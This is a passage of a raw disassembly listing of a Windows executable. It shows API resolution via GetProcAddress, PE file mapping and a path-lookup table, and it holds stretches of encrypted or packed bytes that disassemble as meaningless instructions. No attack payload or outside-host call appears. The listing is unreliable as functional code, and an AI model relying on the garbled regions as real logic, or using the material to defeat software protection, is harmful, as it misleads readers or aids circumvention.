ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1834, eax push offset aPostmessagea ; "PostMessageA" mov edx, [ebp+var_10] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1838, eax push offset aCreatethread ; "CreateThread" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E183C, eax mov [ebp+var_4], offset dword_4E16A4 mov [ebp+var_14], offset dword_4E1840 jmp short loc_4CEB7A ; --------------------------------------------------------------------------- loc_4CEB71: ; CODE XREF: sub_4CE2E0:loc_4CEBA9j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_4CEB7A: ; CODE XREF: sub_4CE2E0+88Fj mov edx, [ebp+var_4] cmp edx, [ebp+var_14] jz short loc_4CEBAB mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jnz short loc_4CEBA9 push 0 push 0 push 0 mov ecx, [ebp+var_4] sub ecx, offset dword_4E16A0 sar ecx, 2 sub ecx, 10FFEFFFh push ecx call ds:dword_4DE00C ; RaiseException loc_4CEBA9: ; CODE XREF: sub_4CE2E0+8A8j jmp short loc_4CEB71 ; --------------------------------------------------------------------------- loc_4CEBAB: ; CODE XREF: sub_4CE2E0+8A0j mov esp, ebp pop ebp retn sub_4CE2E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE298 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFD8h push ebx push esi push edi mov [ebp-18h], esp mov dword ptr [ebp-24h], 0FFFFFFFFh mov dword ptr [ebp-20h], 0 mov dword ptr [ebp-28h], 0 mov dword ptr [ebp-1Ch], 0 mov dword ptr [ebp-4], 0 push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+8] push eax call ds:dword_4E16A8 ; CreateFileA mov [ebp-24h], eax cmp dword ptr [ebp-24h], 0FFFFFFFFh jz short loc_4CEC6C push 0 mov ecx, [ebp-24h] push ecx call ds:dword_4E1700 ; GetFileSize mov [ebp-1Ch], eax cmp dword ptr [ebp-1Ch], 0FFFFFFFFh jz short loc_4CEC6C push 0 mov edx, [ebp-1Ch] push edx push 0 push 2 push 0 mov eax, [ebp-24h] push eax call ds:dword_4E16B0 ; CreateFileMappingA mov [ebp-20h], eax cmp dword ptr [ebp-20h], 0 jz short loc_4CEC6C mov ecx, [ebp-1Ch] push ecx push 0 push 0 push 4 mov edx, [ebp-20h] push edx call ds:dword_4E176C ; MapViewOfFile mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jnz short loc_4CEC76 loc_4CEC6C: ; CODE XREF: _4:004CEC19j _4:004CEC2Ej ... mov ecx, 0EF000001h call sub_4D8342 loc_4CEC76: ; CODE XREF: _4:004CEC6Aj mov eax, [ebp-28h] mov ecx, [ebp-28h] add ecx, [eax+3Ch] mov [ebp-30h], ecx mov edx, [ebp-30h] cmp dword ptr [edx], 4550h jz short loc_4CEC97 mov ecx, 0EF000002h call sub_4D8342 loc_4CEC97: ; CODE XREF: _4:004CEC8Bj mov eax, ds:off_4E169C mov [ebp-34h], eax mov ecx, [ebp-30h] mov edx, [ebp+10h] sub edx, [ecx+34h] mov [ebp-2Ch], edx push 1190000h call sub_4CDB7E add ds:11417799h, cl ; CODE XREF: _4:004CECCBj stosd add eax, 1EEE403Fh sub al, 39h inc esi cmp ebx, [eax+1F877A6Dh] in al, dx jle short near ptr loc_4CECB5+2 inc ebx cwde out dx, al pop es xor eax, [ebx+78F72316h] adc byte ptr [edi+64h], 71h jle short near ptr loc_4CED3B+2 xchg eax, ecx db 2Eh out 77h, eax dec edi sbb esp, edi jp short loc_4CED3B lds edx, [ecx+4B7AFC62h] retn ; --------------------------------------------------------------------------- db 7Eh, 3Bh, 82h dd 0B61C1F80h, 0E756D0C3h, 1E5F126Fh, 6B46D1A8h, 0EE0CA412h dd 0D165F518h, 0AB6AFC15h, 0F6588337h, 5A597004h, 1A93DEAh dd 35E370C2h, 328E108Eh, 0EA5487D7h, 599515B8h, 0DC957533h dd 2AB9E510h, 0F6E956BFh, 41D55588h db 0F7h, 6Ch, 0DAh ; --------------------------------------------------------------------------- loc_4CED3B: ; CODE XREF: _4:004CECE4j _4:004CECDBj adc edi, [edi+14D244FBh] stc jnz short loc_4CED91 loc_4CED44: ; CODE XREF: _4:004CED45j xchg eax, edi loop loc_4CED44 rol esi, 1 inc esp stosb arpl bx, si and ebx, [edx+ecx*2+1D4529E4h] ; CODE XREF: _4:004CEDC7j out 68h, al mov esi, 7AF0DD8Eh mov bl, 0DFh xchg eax, ebp jno short loc_4CED9A jg short loc_4CED80 shr byte ptr [ebx], cl jg short loc_4CEDCE mov bh, 10h cmpsd mov ah, 2Ah hlt ; --------------------------------------------------------------------------- dd 693DAD50h, 3BA234CFh, 6A1346DFh, 8E90F8F4h, 59E2CEABh ; --------------------------------------------------------------------------- loc_4CED80: ; CODE XREF: _4:004CED60j mov ah, [edx+edx*4] aam 3Bh stosd push 7118CCF6h jle short loc_4CEDB7 add eax, eax push 0FFFFFFC4h loc_4CED91: ; CODE XREF: _4:004CED42j outsb loope near ptr loc_4CEDEE+3 cmpsb cmp al, 76h inc edi iret ; --------------------------------------------------------------------------- daa loc_4CED9A: ; CODE XREF: _4:004CED5Ej jge short near ptr loc_4CEDC9+1 pop edi or esi, ebp aas jnb short near ptr loc_4CEE04+2 db 67h das mov bl, 0C0h and al, 0E9h sbb [ebx], cl dec cl pop esi aam 35h inc edx dec edi pop esp loc_4CEDB2: ; DATA XREF: _5:004DE2A8o and byte ptr [esi+3Bh], 91h popf loc_4CEDB7: ; CODE XREF: _4:004CED8Bj stosb mov bh, 7 loc_4CEDBA: ; DATA XREF: _5:004DE2ACo pop edx mov ebx, 0EE403F03h pop ds sub al, 39h inc esi loc_4CEDC4: ; CODE XREF: _4:004CEDD4j cmp edi, [ecx+6Ch] jp short near ptr loc_4CED4D+3 loc_4CEDC9: ; CODE XREF: _4:loc_4CED9Aj jl short near ptr loc_4CEDD6+6 inc ebx inc esp aaa loc_4CEDCE: ; CODE XREF: _4:004CED64j nop nop xor edx, edx test edx, edx jnz short loc_4CEDC4 loc_4CEDD6: ; CODE XREF: _4:loc_4CEDC9j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_4CEDE4 jmp short loc_4CEE15 ; =============== S U B R O U T I N E ======================================= sub_4CEDE4 proc near ; CODE XREF: _4:004CEDDDp ; DATA XREF: _5:004DE2A0o cmp dword ptr [ebp-28h], 0 jz short loc_4CEDF4 mov eax, [ebp-28h] push eax loc_4CEDEE: ; CODE XREF: _4:004CED92j call ds:dword_4E17A0 ; UnmapViewOfFile loc_4CEDF4: ; CODE XREF: sub_4CEDE4+4j cmp dword ptr [ebp-20h], 0 jz short loc_4CEE04 mov ecx, [ebp-20h] push ecx call ds:dword_4E16A4 ; CloseHandle loc_4CEE04: ; CODE XREF: sub_4CEDE4+14j ; _4:004CEDA0j cmp dword ptr [ebp-24h], 0 jz short locret_4CEE14 mov edx, [ebp-24h] push edx call ds:dword_4E16A4 ; CloseHandle locret_4CEE14: ; CODE XREF: sub_4CEDE4+24j retn sub_4CEDE4 endp ; --------------------------------------------------------------------------- loc_4CEE15: ; CODE XREF: _4:004CEDE2j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE2B0 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFE88h push ebx push esi push edi mov dword ptr [ebp-20h], 0 mov dword ptr [ebp-1Ch], 0 mov dword ptr [ebp-4], 0 push 105h call sub_4D835A add esp, 4 mov [ebp-184h], eax mov eax, [ebp-184h] mov [ebp-1Ch], eax push 104h mov ecx, [ebp-1Ch] push ecx push 0 call ds:dword_4E1718 ; GetModuleHandleA push eax call ds:dword_4E1714 ; GetModuleFileNameA mov edx, [ebp+0Ch] add edx, 82h mov [ebp-24h], edx mov eax, [ebp-24h] mov ecx, [eax] and ecx, 4 neg ecx sbb ecx, ecx neg ecx mov [ebp-20h], ecx cmp dword ptr [ebp-20h], 0 jz loc_4CEFFE lea ecx, [ebp-160h] call sub_4D7798 mov dword ptr [ebp-164h], 10h push 290000h call sub_4CDB7E nop popf sub ebp, esi mov cl, 93h cmp esi, [ebp-2071CF1Dh] adc [esi+edx], esp cmp eax, 7CBB222Fh push ecx cmc dec esp retn ; --------------------------------------------------------------------------- db 97h, 0B9h, 0ADh dd 8ABDEFA0h, 9EAD89FBh, 2913CC7h, 0B285F704h, 96CCFC1Ch dd 7F09E16h, 414E5A1Bh, 5268559Ah, 0CEE6F301h, 5A4DC906h dd 0AA81500Fh, 2EF9409Bh, 66792330h, 0F898C230h, 0DBDCAA42h dd 6D7A86E7h, 0CA3421CFh, 12121F2Ch, 2E21267Bh, 41556C53h dd 7AA1946Fh, 5A2D4F5Ch, 37742DE4h, 3A4FF67Eh, 345119B4h dd 65810DFEh, 5D294B58h, 6AF5E8E6h, 36541C2Ch, 95B155ABh dd 0AD011488h, 0A7053D6Bh, 0EB46731h, 0C4A9AD9Ah, 3BEAABB8h dd 2A000177h, 11364351h, 0F5037066h, 3E3124E8h, 0F96AB34Bh dd 59670CFAh, 0DB0D434Ch, 0F081716Eh, 0FFB6D7E4h, 8996A2CFh dd 2180E38Ch, 212F443Ah, 96907314h, 0CDC6D3E1h, 8593E8D6h dd 24A5A778h, 1C5D4D32h, 0DDE20310h, 0C1357DA8h, 818FECC2h dd 8EF4A374h, 0E560C6CBh, 0F2E200F3h, 4E41A771h, 82751533h dd 5D21748Fh, 90902F3Ch, 0C085C033h db 75h, 0EEh ; --------------------------------------------------------------------------- loc_4CEFFE: ; CODE XREF: _4:004CEEC0j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_4CF00C jmp short loc_4CF025 ; =============== S U B R O U T I N E ======================================= sub_4CF00C proc near ; CODE XREF: _4:004CF005p ; DATA XREF: _5:004DE2B8o mov ecx, [ebp-1Ch] mov [ebp-188h], ecx mov edx, [ebp-188h] push edx call sub_4D83DD add esp, 4 retn sub_4CF00C endp ; --------------------------------------------------------------------------- loc_4CF025: ; CODE XREF: _4:004CF00Aj mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CF036 proc near ; CODE XREF: sub_4DB1EA+1Fp var_38 = dword ptr -38h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004CF153 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE2C0 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 20h push ebx push esi push edi or [ebp+var_1C], 0FFFFFFFFh push 0 lea eax, [ebp+var_1C] push eax push 3 push 80000000h push [ebp+arg_0] call sub_4D0346 test eax, eax jz loc_4CF153 cmp [ebp+var_1C], 0FFFFFFFFh jz loc_4CF153 mov eax, ds:dword_4E18E4 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4CF0A7 mov eax, [ebp+var_2C] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_30], 1 jmp short loc_4CF0AB ; --------------------------------------------------------------------------- loc_4CF0A7: ; CODE XREF: sub_4CF036+5Cj and [ebp+var_30], 0 loc_4CF0AB: ; CODE XREF: sub_4CF036+6Fj movzx eax, [ebp+var_30] test eax, eax jz loc_4CF153 and [ebp+var_4], 0 mov eax, [ebp+arg_4] and dword ptr [eax], 0 push [ebp+var_1C] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4CF120 push [ebp+var_1C] call sub_4D5456 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax cmp [ebp+var_20], 0 jnz short loc_4CF0FF push ds:off_4DE4F8 push 1Fh push ds:off_4DE4FC call sub_4D848C loc_4CF0FF: ; CODE XREF: sub_4CF036+B4j mov eax, [ebp+var_20] mov eax, [eax] mov [ebp+var_24], eax push 0FFFFFFFFh mov [ebp+var_38], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp short loc_4CF155 ; --------------------------------------------------------------------------- loc_4CF120: ; CODE XREF: sub_4CF036+A0j or [ebp+var_4], 0FFFFFFFFh call sub_4CF12B jmp short loc_4CF153 sub_4CF036 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4CF12B proc near ; CODE XREF: sub_4CF036+EEp ; DATA XREF: _5:004DE2C8o mov eax, ds:dword_4E18E4 mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jz short loc_4CF146 mov eax, [ebp-34h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection loc_4CF146: ; CODE XREF: sub_4CF12B+Cj lea eax, [ebp-28h] push eax push dword ptr [ebp-1Ch] call sub_4D0741 retn sub_4CF12B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4CF036 loc_4CF153: ; CODE XREF: sub_4CF036+40j ; sub_4CF036+4Aj ... xor eax, eax loc_4CF155: ; CODE XREF: sub_4CF036+E8j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4CF036 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CF166 proc near ; CODE XREF: sub_4CF252+1B5p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push esi push edi cmp [ebp+arg_4], 0 jz short loc_4CF187 mov ecx, [ebp+arg_4] mov edi, [ebp+arg_8] mov esi, [ebp+arg_0] xor eax, eax repe cmpsb jnz loc_4CF24A loc_4CF187: ; CODE XREF: sub_4CF166+Cj push 5Ch mov eax, [ebp+arg_8] add eax, [ebp+arg_4] push eax call sub_4CC640 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4CF216 mov eax, [ebp+arg_C] mov byte ptr [eax], 1 mov eax, [ebp+arg_8] add eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] inc eax cmp eax, 80h jbe short loc_4CF1C6 xor eax, eax jmp loc_4CF24C ; --------------------------------------------------------------------------- loc_4CF1C6: ; CODE XREF: sub_4CF166+57j mov ecx, [ebp+var_C] mov esi, [ebp+arg_8] add esi, [ebp+arg_4] mov edi, offset byte_4E1844 mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_C] and ds:byte_4E1844[eax], 0 mov eax, [ebp+arg_10] mov dword ptr [eax], offset byte_4E1844 push offset byte_4E1844 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax call sub_4CC06B pop ecx pop ecx neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov eax, [ebp+var_8] jmp short loc_4CF24C ; --------------------------------------------------------------------------- loc_4CF216: ; CODE XREF: sub_4CF166+38j mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] add eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax call sub_4CC06B pop ecx pop ecx neg eax sbb eax, eax neg eax mov [ebp+var_10], eax mov eax, [ebp+arg_8] add eax, [ebp+arg_4] mov ecx, [ebp+arg_10] mov [ecx], eax mov eax, [ebp+var_10] jmp short loc_4CF24C ; --------------------------------------------------------------------------- loc_4CF24A: ; CODE XREF: sub_4CF166+1Bj xor eax, eax loc_4CF24C: ; CODE XREF: sub_4CF166+5Bj ; sub_4CF166+AEj ... pop edi pop esi leave retn 14h sub_4CF166 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CF252 proc near ; CODE XREF: sub_4CF63E+56p ; sub_4CF6DE+90p var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 004CF62B SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE2D0 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 44h push ebx push esi push edi push offset dword_4E18C8 call ds:dword_4E16C4 ; RtlEnterCriticalSection and [ebp+var_4], 0 cmp ds:dword_4E1908, 0 jnz short loc_4CF2A8 push 0FFFFFFFFh and [ebp+var_4C], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_4C] jmp loc_4CF62D ; --------------------------------------------------------------------------- loc_4CF2A8: ; CODE XREF: sub_4CF252+3Bj and [ebp+var_24], 0 lea eax, [ebp+var_24] push eax mov eax, ds:dword_4E1908 add eax, 810h push eax push 104h push [ebp+arg_0] call ds:dword_4E1708 ; GetFullPathNameA mov [ebp+var_28], eax push [ebp+var_28] mov eax, ds:dword_4E1908 add eax, 810h push eax call ds:dword_4E17C8 ; CharUpperBuffA mov ecx, [ebp+var_28] call sub_4D1470 mov eax, ds:dword_4E1908 mov eax, [eax+0Ch] mov [ebp+var_20], eax and [ebp+var_1C], 0 and [ebp+var_2C], 0 and [ebp+var_30], 0 mov eax, ds:dword_4E1908 mov ecx, [eax+0C14h] mov edi, ds:dword_4E1908 add edi, 10h mov esi, ds:dword_4E1908 add esi, 810h xor eax, eax repe cmpsb jnz loc_4CF614 mov eax, ds:dword_4E1908 mov eax, [eax+0C14h] mov ecx, ds:dword_4E1908 lea eax, [ecx+eax+810h] mov [ebp+var_3C], eax and [ebp+var_38], 0 push 5Ch push [ebp+var_3C] call sub_4CC700 pop ecx pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jz short loc_4CF369 mov eax, [ebp+var_34] sub eax, [ebp+var_3C] inc eax mov [ebp+var_38], eax jmp short loc_4CF395 ; --------------------------------------------------------------------------- loc_4CF369: ; CODE XREF: sub_4CF252+109j mov eax, ds:dword_4E1684 mov eax, [eax+24h] and eax, 20h test eax, eax jnz short loc_4CF391 push 0FFFFFFFFh and [ebp+var_50], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_50] jmp loc_4CF62D ; --------------------------------------------------------------------------- loc_4CF391: ; CODE XREF: sub_4CF252+124j and [ebp+var_38], 0 loc_4CF395: ; CODE XREF: sub_4CF252+115j mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx test ecx, ecx jnz short loc_4CF3B1 cmp [ebp+arg_8], 0 jnz short loc_4CF3B1 jmp loc_4CF5EB ; --------------------------------------------------------------------------- loc_4CF3B1: ; CODE XREF: sub_4CF252+152j ; sub_4CF252+158j cmp [ebp+arg_8], 0 jz short loc_4CF3D4 mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_4CF3D4 mov eax, [ebp+arg_8] mov ecx, ds:dword_4E1908 mov eax, [eax] sub eax, [ecx+8] sar eax, 4 inc eax mov [ebp+var_1C], eax loc_4CF3D4: ; CODE XREF: sub_4CF252+163j ; sub_4CF252+16Bj jmp short loc_4CF3DD ; --------------------------------------------------------------------------- loc_4CF3D6: ; CODE XREF: sub_4CF252:loc_4CF412j mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_4CF3DD: ; CODE XREF: sub_4CF252:loc_4CF3D4j mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnb short loc_4CF414 lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_30] push eax mov eax, [ebp+var_1C] shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] mov eax, [ecx+eax] push dword ptr [eax] push [ebp+var_38] push [ebp+var_3C] call sub_4CF166 test eax, eax jz short loc_4CF412 jmp short loc_4CF414 ; --------------------------------------------------------------------------- loc_4CF412: ; CODE XREF: sub_4CF252+1BCj jmp short loc_4CF3D6 ; --------------------------------------------------------------------------- loc_4CF414: ; CODE XREF: sub_4CF252+191j ; sub_4CF252+1BEj mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnb loc_4CF5EB mov edi, [ebp+var_2C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_48], ecx movzx eax, [ebp+var_30] test eax, eax jz short loc_4CF4AC jmp short loc_4CF441 ; --------------------------------------------------------------------------- loc_4CF43A: ; CODE XREF: sub_4CF252:loc_4CF4AAj mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_4CF441: ; CODE XREF: sub_4CF252+1E6j mov eax, [ebp+var_20] dec eax cmp [ebp+var_1C], eax jnb short loc_4CF4AC mov eax, [ebp+var_1C] inc eax shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] mov eax, [ecx+eax] mov edi, [eax] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_48] add eax, [ebp+var_38] cmp ecx, eax jb short loc_4CF4A8 mov ecx, [ebp+var_48] add ecx, [ebp+var_38] mov eax, [ebp+var_1C] shl eax, 4 mov edx, ds:dword_4E1908 mov edx, [edx+8] mov eax, [edx+eax] mov edi, [eax] mov eax, [ebp+var_1C] inc eax shl eax, 4 mov edx, ds:dword_4E1908 mov edx, [edx+8] mov eax, [edx+eax] mov esi, [eax] xor eax, eax repe cmpsb jz short loc_4CF4AA loc_4CF4A8: ; CODE XREF: sub_4CF252+21Fj jmp short loc_4CF4AC ; --------------------------------------------------------------------------- loc_4CF4AA: ; CODE XREF: sub_4CF252+254j jmp short loc_4CF43A ; --------------------------------------------------------------------------- loc_4CF4AC: ; CODE XREF: sub_4CF252+1E4j ; sub_4CF252+1F6j ... mov eax, [ebp+var_1C] shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] mov eax, [ecx+eax+4] add eax, [ebp+var_38] mov [ebp+var_2C], eax mov eax, [ebp+var_1C] shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] add ecx, eax mov [ebp+var_40], ecx mov eax, [ebp+var_40] mov eax, [eax] mov [ebp+var_44], eax xor eax, eax mov edi, [ebp+arg_4] stosd push 41h pop ecx xor eax, eax mov edi, [ebp+arg_4] add edi, 2Ch rep stosd cmp [ebp+var_48], 104h jnb short loc_4CF505 mov eax, [ebp+var_48] mov [ebp+var_54], eax jmp short loc_4CF50C ; --------------------------------------------------------------------------- loc_4CF505: ; CODE XREF: sub_4CF252+2A9j mov [ebp+var_54], 104h loc_4CF50C: ; CODE XREF: sub_4CF252+2B1j mov ecx, [ebp+var_54] mov esi, [ebp+var_2C] mov edi, [ebp+arg_4] add edi, 2Ch mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax mov edi, [ebp+arg_4] add edi, 130h stosd stosd stosd stosw cmp [ebp+var_48], 0Eh jbe short loc_4CF545 mov [ebp+var_58], 0Eh jmp short loc_4CF54B ; --------------------------------------------------------------------------- loc_4CF545: ; CODE XREF: sub_4CF252+2E8j mov eax, [ebp+var_48] mov [ebp+var_58], eax loc_4CF54B: ; CODE XREF: sub_4CF252+2F1j mov ecx, [ebp+var_58] mov esi, [ebp+var_2C] mov edi, [ebp+arg_4] add edi, 130h mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb movzx eax, [ebp+var_30] neg eax sbb eax, eax and eax, 0Fh inc eax mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+arg_4] mov ecx, [ebp+var_44] mov ecx, [ecx+8] mov [eax+20h], ecx mov eax, [ebp+var_40] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov edx, [eax+1Ch] mov [ecx+4], edx mov eax, [eax+20h] mov [ecx+8], eax mov eax, [ebp+var_40] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov edx, [eax+1Ch] mov [ecx+0Ch], edx mov eax, [eax+20h] mov [ecx+10h], eax mov eax, [ebp+var_40] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov edx, [eax+1Ch] mov [ecx+14h], edx mov eax, [eax+20h] mov [ecx+18h], eax cmp [ebp+arg_8], 0 jz short loc_4CF5D2 mov eax, [ebp+arg_8] mov ecx, [ebp+var_40] mov [eax], ecx loc_4CF5D2: ; CODE XREF: sub_4CF252+376j push 0FFFFFFFFh mov [ebp+var_5C], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_5C] jmp short loc_4CF62D ; --------------------------------------------------------------------------- loc_4CF5EB: ; CODE XREF: sub_4CF252+15Aj ; sub_4CF252+1C8j cmp [ebp+arg_8], 0 jz short loc_4CF60C mov eax, ds:dword_4E1908 mov eax, [eax+0Ch] shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] add ecx, eax mov eax, [ebp+arg_8] mov [eax], ecx loc_4CF60C: ; CODE XREF: sub_4CF252+39Dj push 12h call ds:dword_4E178C ; RtlRestoreLastWin32Error loc_4CF614: ; CODE XREF: sub_4CF252+D1j or [ebp+var_4], 0FFFFFFFFh call sub_4CF61F jmp short loc_4CF62B sub_4CF252 endp ; =============== S U B R O U T I N E ======================================= sub_4CF61F proc near ; CODE XREF: sub_4CF252+3C6p ; DATA XREF: _5:004DE2D8o push offset dword_4E18C8 call ds:dword_4E1754 ; RtlLeaveCriticalSection retn sub_4CF61F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4CF252 loc_4CF62B: ; CODE XREF: sub_4CF252+3CBj xor eax, eax loc_4CF62D: ; CODE XREF: sub_4CF252+51j ; sub_4CF252+13Aj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4CF252 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CF63E proc near ; CODE XREF: sub_4DA334+Ep ; sub_4DA361+7Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+arg_8] or dword ptr [eax], 0FFFFFFFFh push 0Ch call sub_4D835A pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4CF67B mov eax, [ebp+var_8] and dword ptr [eax], 0 mov eax, [ebp+var_8] and dword ptr [eax+4], 0 mov eax, [ebp+var_8] and dword ptr [eax+8], 0 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_4CF67F ; --------------------------------------------------------------------------- loc_4CF67B: ; CODE XREF: sub_4CF63E+1Fj and [ebp+var_C], 0 loc_4CF67F: ; CODE XREF: sub_4CF63E+3Bj mov eax, [ebp+var_C] mov [ebp+var_4], eax mov eax, [ebp+var_4] and dword ptr [eax], 0 push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_4CF252 test eax, eax jz short loc_4CF6D8 push 0 push [ebp+arg_0] call sub_4D92CA pop ecx pop ecx mov ecx, [ebp+var_4] mov [ecx+4], eax mov eax, [ebp+var_4] and dword ptr [eax+8], 0 push [ebp+var_4] push [ebp+var_4] mov ecx, ds:dword_4E18EC call sub_4CC000 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov [eax], ecx and [ebp+var_4], 0 push 1 pop eax jmp short locret_4CF6DA ; --------------------------------------------------------------------------- loc_4CF6D8: ; CODE XREF: sub_4CF63E+5Dj xor eax, eax locret_4CF6DA: ; CODE XREF: sub_4CF63E+98j leave retn 0Ch sub_4CF63E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CF6DE proc near ; CODE XREF: sub_4DA626+12p ; sub_4DA657+19p var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 004CF805 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE2F0 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi mov eax, ds:dword_4E18EC mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4CF724 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_4CF728 ; --------------------------------------------------------------------------- loc_4CF724: ; CODE XREF: 